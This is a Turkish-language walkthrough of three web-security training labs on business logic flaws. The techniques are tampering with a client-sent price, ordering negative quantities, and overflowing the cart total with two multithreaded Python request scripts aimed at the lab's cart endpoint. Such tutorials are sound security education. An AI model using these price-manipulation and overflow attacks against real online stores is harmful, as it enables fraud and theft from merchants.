Business Logic Vulnerabilities, genellikle bir uygulamanın iş süreçleri ve mantığıyla ilgili hatalardan kaynaklanan güvenlik zafiyetleridir. Bu tür açıklar, genellikle yazılım geliştirme sürecindeki tasarım ve uygulama hatalarından kaynaklanır. İş mantığı güvenlik açıkları, geleneksel güvenlik önlemleri tarafından kolayca tespit edilemeyen ve savunulamayan bir alanı hedef alabilir.
Yani bizim odaklanacağımız nokta yazılımın tanımları ve bu tanımlardaki eksikliklerden yararlanarak ilerlemek olacaktır.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled.png)
Lab ortamına giriş yaptıktan sonra kullanıcı hesabımız ile giriş yapıyoruz
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 1.png)
Bizden almamızı istedikleri ürün ise burada mevcut.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 2.png)
Şimdi uygulamamızın temel kural çerçevesini inceleyelim. Bu uygulamaya göre ürünü satın almak istediğimizde cüzdanımızda sadece 100$ olduğunu görmekteyiz. Dolayısıyla bu ürünü almamıza izin verilmemektedir. İş mantığına baktığımızda ise bu ürünü sepetimize ekleyebiliyoruz, ardından cüzdanımızdaki paranın yetersiz olduğunu görüp ürünü silebiliyoruz.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 3.png)
Bu adımdan sonra da ürün eklemedeki adımların request’lerini inceleyelim.
Ürünü sepete eklediğimizde oluşan request’e göre ürünün fiyatını kullanıcıdan almaktadır. Normalde price (ürün fiyatı) veritabanında bulunan bir değerdir ve yapılan sorgulamalara göre bu sonuç veritabanından gelir.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 4.png)
Buradaki price değerini 100$ olarak değiştirip ilereleyelim.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 5.png)
Uygulama, verdiğimiz 100$ değerini 1$ olarak algılar ve ürünü almak için yeterli paraya sahip olduğumuz için artık ürünü satın alabiliriz. Bu sayede lab ortamı da çözülmüş oldu…
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 6.png)
Buradaki problemin sebebine baktığımızda ise asıl sorun, alınan fiyat değerinin kontrol edilmemesinden dolayı iş mantığı olarak ürünün fiyatına göre satılması gerekirken daha ucuz bir fiyata satılabilmesinden kaynaklanmaktadır.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 7.png)
Bu lab ortamında da bizden aynı ürünü almamız istenmektedir. Verilen kullanıcı giriş bilgileriyle sisteme girdikten sonra tekrar ürün ekleme request’ini inceleyelim. Buradaki request’te artık ürünün fiyat bilgisi kullanıcı tarafından değiştirilememektedir. Bu yüzden farklı yöntemler düşünmeliyiz.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 8.png)
Ürünü sepete eklediğimizde satın almak için yeterli paraya sahip olmadığımızı görüyoruz.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 9.png)
Burada request’leri incelediğimizde alınan ürün sayısını değiştirebildiğimizi görmekteyiz. Dolayısıyla bu üründen 1 tane sepete ekledikten sonra başka bir üründen de negatif sayıda ürün eklersek nihai ürün fiyatı ürün sayısı ile çarpılarak hesaplanacağı için sepetin toplam fiyatı da düşecektir.
Örneğin fiyatı 31.55$ olan yeni bir ürün eklediğimizde sepetimizin toplam fiyatı artmaktadır. Ancak biz bu ürünü negatif sayıda bir değer ile alırsak sepet tutarımız da düşecektir.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 10.png)
Genel bir hesaplama yaptığımızda son eklenen üründen yaklaşık olarak -42 adet alırsak sepet tutarımız artık ödeyebileceğimiz bir fiyata gelecektir.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 11.png)
Bu sayede artık bizden istenen ürün için 1 adet, diğer ürün için de negatif sayıda almış olmaktayız.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 12.png)
Siparişi tamamladığımızda ise lab ortamının çözüldüğünü görebiliriz.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 13.png)
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 14.png)
Bu uygulamayı incelediğimizde ise Integer Overflow’dan yararlanarak istediğimiz üründen alabildiğimizi tespit ediyoruz. Kısaca Integer overflow’un ne olduğundan bahsedelim;
Integer overflow (tamsayı taşması), bir bilgisayar programında bir tamsayı değişkenin belirli bir değeri aşması durumudur. Bilgisayar belleğinde belirli bir bit uzunluğunda temsil edilen bir tamsayı tipi olduğunda, bu tür bir değişken belirli bir aralıkta değer alabilir. Ancak, bu aralığı aşan bir değer atandığında veya bu değer arttırıldığında, tamsayı taşması meydana gelir.
Örneğin, 8-bit bir tamsayı tipi, 0 ile 255 arasında değerleri temsil edebilir. Eğer bu tür bir değişkenin değeri 255 iken bir daha arttırılırsa, taşma olacağından değer 0'a döner (256 % 256 = 0). Bu durum, bilgisayar programlarında hatalara ve beklenmedik davranışlara neden olabilir.
Integer overflow'lar genellikle güvenlik açıklarına yol açabilir. Özellikle düşük seviyeli programlamada (low-level programming), bu tür taşmaların dikkate alınmaması veya doğru bir şekilde kontrol edilmemesi, kötü niyetli saldırılara ve sistem hatalarına neden olabilir. Bu nedenle, integer overflow'ları önlemek veya yönetmek için dikkatli programlama teknikleri kullanmalısınız.
Dolayısıyla burada öncelikle sepetimize alacağımız asıl ürün ile birlikte bir adet ürün daha ekleyelim ve bu ürün fiyatlarına göre hangi üründen kaç adet almamız gerektiğini hesaplayarak siparişi tamamlayalım.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 15.png)
Burada yapmamız gereken şey aslında ilk ürün için fiyatı artırıp overflow’dan yararlanarak negatif bir değer elde etmek olacaktır. Ardından da toplam sepet tutarımızı pozitife çekmek için diğer üründen de gereken sayıda satın almalıyız.
Integer overflow limiti 2147483647
değerindedir. Bizim uygulamamızda ise her request’te bir ürün için maksimum 99 adet eklenebilmektedir. Dolayısıyla 2147483647
fiyatına yaklaşabilmek için almamız gereken ürün fiyatı 2147483647/1337=1606195.69708 $
şeklinde olacaktır. Bir request’te 99 adet ürün ekleyebildiğimiz için de 1606195.69708/99=**16224.1989604
** defa request atmamız gerekmektedir.
Alacağımız asıl ürün için yakaladığımız request’i intruder aracılığıyla tekrarlıyoruz.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 16.png)
Burada istediğimiz değere kadar birer birer ilerlemesini ve her seferinde sepete 99 adet eklemesini sağlıyoruz.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 17.png)
Bu şekilde başlatıp ürünlerin eklenmesini bekliyoruz.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 18.png)
Bu kısımda Burp Suite Community Edition sürümünü kullandığımız için Intruder oldukça yavaş çalışmakta. Dolayısıyla bu aşamada kendi çözümümüzü bulmamız gerekmektedir. Bunun için Python ile bu request’i kendimiz gönderelim ve hızlıca hedefimize ulaşalım. Bunun için gerekli kod aşağıdaki şekilde işlemimizi gerçekleştirmektedir;
import requests
import concurrent.futures
url = "https://0a1400c804682cf1806e67490044007a.web-security-academy.net/cart"
headers = {
"Host": "0a1400c804682cf1806e67490044007a.web-security-academy.net",
"Cookie": "session=fACf0Epflja19ct9cNxzAKWRFZxQCF4t",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "https://0a1400c804682cf1806e67490044007a.web-security-academy.net",
"Referer": "https://0a1400c804682cf1806e67490044007a.web-security-academy.net/cart",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
}
data_template = "productId=1&quantity=99&redir=CART"
def send_request(i):
response = requests.post(url, headers=headers, data=data_template)
print(f"Request {i}: Status Code - {response.status_code}")
# 10 thread ile çalıştırma
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
executor.map(send_request, range(1, 16225))
Progamın başarıyla çalıştığını da bu şekilde teyit edebiliriz;
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 19.png)
Burada dozumuzu biraz kaçırınca istediğimiz değerden fazla eklemiş olduk.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 20.png)
Ancak bu durumu diğer üründen daha fazla alarak telafi edebiliriz. Bu durumda toplam sepet tutarımız -$19685852.01
olduğu için bu değeri ürün fiyatımıza bölerek kaç adet almamız gerektiğini hesaplayabiliriz. Eğer hesaplayacak olursak $19685852.01/20.95=207219.494842 ****
sonucunu vermektedir. Yani 207219.494842
adet eklememiz gerekmektedir. Bu ürün için id değerini bulup programımıza ekleyecek olursak çalıştırdığımızda hedefimize ulaşabiliriz. Burada da
Bunun için de id
değerimiz 6 olduğu için kodumuz bu şekilde olacaktır:
import requests
import concurrent.futures
url = "https://0a1400c804682cf1806e67490044007a.web-security-academy.net/cart"
headers = {
"Host": "0a1400c804682cf1806e67490044007a.web-security-academy.net",
"Cookie": "session=XvXbtrRCfmnJskV68dhCDMUZRjCo3x6d",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "https://0a1400c804682cf1806e67490044007a.web-security-academy.net",
"Referer": "https://0a1400c804682cf1806e67490044007a.web-security-academy.net/cart",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
}
data_template = "productId=6&quantity=99&redir=CART"
def send_request(i):
response = requests.post(url, headers=headers, data=data_template)
print(f"Request {i}: Status Code - {response.status_code}")
# 10 thread ile çalıştırma
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
executor.map(send_request, range(1, 500))
Burada eklemeye çalıştığımız ürün fiyatı düşük olduğu için çok fazla eklesek bile dengeleyeceğimiz fiyata ulaşmak biraz daha zor olmakta.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 21.png)
Bu yüzden başka bir üründen de ekleme yapalım. Burada biraz çile çekmemiz gerekmektedir :)
Yaptığımız onlarca ayarlamadan sonra bazı yeni ürünler ekleyerek, bunların sayısını artırıp azaltarak toplam sepet fiyatını bakiyemizin altında bir fiyata çekmeyi başarıyoruz.
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 22.png)
Artık ürünümüzü satın alabiliriz. Bu sayede lab ortamı da çözülmüş oldu :)
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 23.png)
Eğitimde elde edilen ayarlama da bu şekildeydi;
![Untitled](0x14 e3d5610b147c47c69793fa5e6472953f/Untitled 24.png)
Bu kısma kadar okuduğunuz için teşekkürler.…